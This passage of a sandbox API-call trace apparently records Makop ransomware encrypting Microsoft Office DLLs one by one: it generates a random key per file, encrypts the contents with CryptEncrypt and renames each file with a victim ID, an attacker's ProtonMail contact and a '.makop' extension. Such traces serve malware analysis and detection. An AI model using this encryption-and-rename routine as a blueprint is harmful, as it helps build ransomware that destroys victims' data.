liDistanceToMove=0x188b70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.846] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0093.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c8c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.848] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0093.848] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c8c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.848] SetEndOfFile (hFile=0xf0) returned 1 [0093.855] GetProcessHeap () returned 0x48a0000 [0093.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.855] GetProcessHeap () returned 0x48a0000 [0093.855] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.855] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0093.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.858] CloseHandle (hObject=0xf0) returned 1 [0093.858] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0093.858] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned 67 [0093.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0093.859] GetProcessHeap () returned 0x48a0000 [0093.859] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.859] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0093.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0093.877] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.877] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.877] GetProcessHeap () returned 0x48a0000 [0093.877] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.878] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0093.878] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.878] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0093.878] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0093.879] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0093.879] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0093.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0093.879] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0093.879] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.879] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.879] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.880] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x90778, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x90778, lpOverlapped=0x0) returned 1 [0093.895] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x90780, dwBufLen=0x90780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x90780) returned 1 [0093.900] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.901] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x90780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x90780, lpOverlapped=0x0) returned 1 [0093.904] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.905] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x90854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.905] SetEndOfFile (hFile=0xf0) returned 1 [0093.912] GetProcessHeap () returned 0x48a0000 [0093.912] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.912] GetProcessHeap () returned 0x48a0000 [0093.912] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.912] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0093.912] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.913] CloseHandle (hObject=0xf0) returned 1 [0093.914] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0093.914] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL") returned 65 [0093.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0093.916] GetProcessHeap () returned 0x48a0000 [0093.916] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.916] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0093.916] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.916] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.916] GetProcessHeap () returned 0x48a0000 [0093.916] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.916] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0093.916] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.916] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0093.920] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0093.920] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0093.920] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0093.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0093.921] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0093.921] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.921] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.921] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc6b00, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc6b00, lpOverlapped=0x0) returned 1 [0093.941] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc6b00, dwBufLen=0xc6b00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc6b00) returned 1 [0093.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.948] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc6b00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc6b00, lpOverlapped=0x0) returned 1 [0093.954] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc6bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.954] SetEndOfFile (hFile=0xf0) returned 1 [0093.960] GetProcessHeap () returned 0x48a0000 [0093.960] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.960] GetProcessHeap () returned 0x48a0000 [0093.960] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.960] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 112 [0093.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.962] CloseHandle (hObject=0xf0) returned 1 [0093.962] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0093.962] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL") returned 68 [0093.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0093.963] GetProcessHeap () returned 0x48a0000 [0093.963] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.963] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.963] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0093.963] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.963] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.963] GetProcessHeap () returned 0x48a0000 [0093.963] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.963] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0093.963] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.963] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0093.967] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0093.967] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0093.967] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0093.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0093.968] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0093.968] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.968] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.968] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc150, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc150, lpOverlapped=0x0) returned 1 [0093.970] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc150, dwBufLen=0xc150 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc150) returned 1 [0093.971] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.971] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc150, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc150, lpOverlapped=0x0) returned 1 [0093.971] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.972] SetEndOfFile (hFile=0xf0) returned 1 [0093.978] GetProcessHeap () returned 0x48a0000 [0093.978] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.978] GetProcessHeap () returned 0x48a0000 [0093.978] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.978] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0093.978] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.980] CloseHandle (hObject=0xf0) returned 1 [0093.980] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0093.980] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL") returned 66 [0093.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0093.982] GetProcessHeap () returned 0x48a0000 [0093.982] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.982] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.982] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0093.982] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.983] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.983] GetProcessHeap () returned 0x48a0000 [0093.983] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.983] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0093.983] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0093.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0093.988] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0093.988] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0093.988] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0093.989] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0093.989] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.989] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.989] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.989] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x23f90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x23f90, lpOverlapped=0x0) returned 1 [0093.993] CryptEncrypt (in: 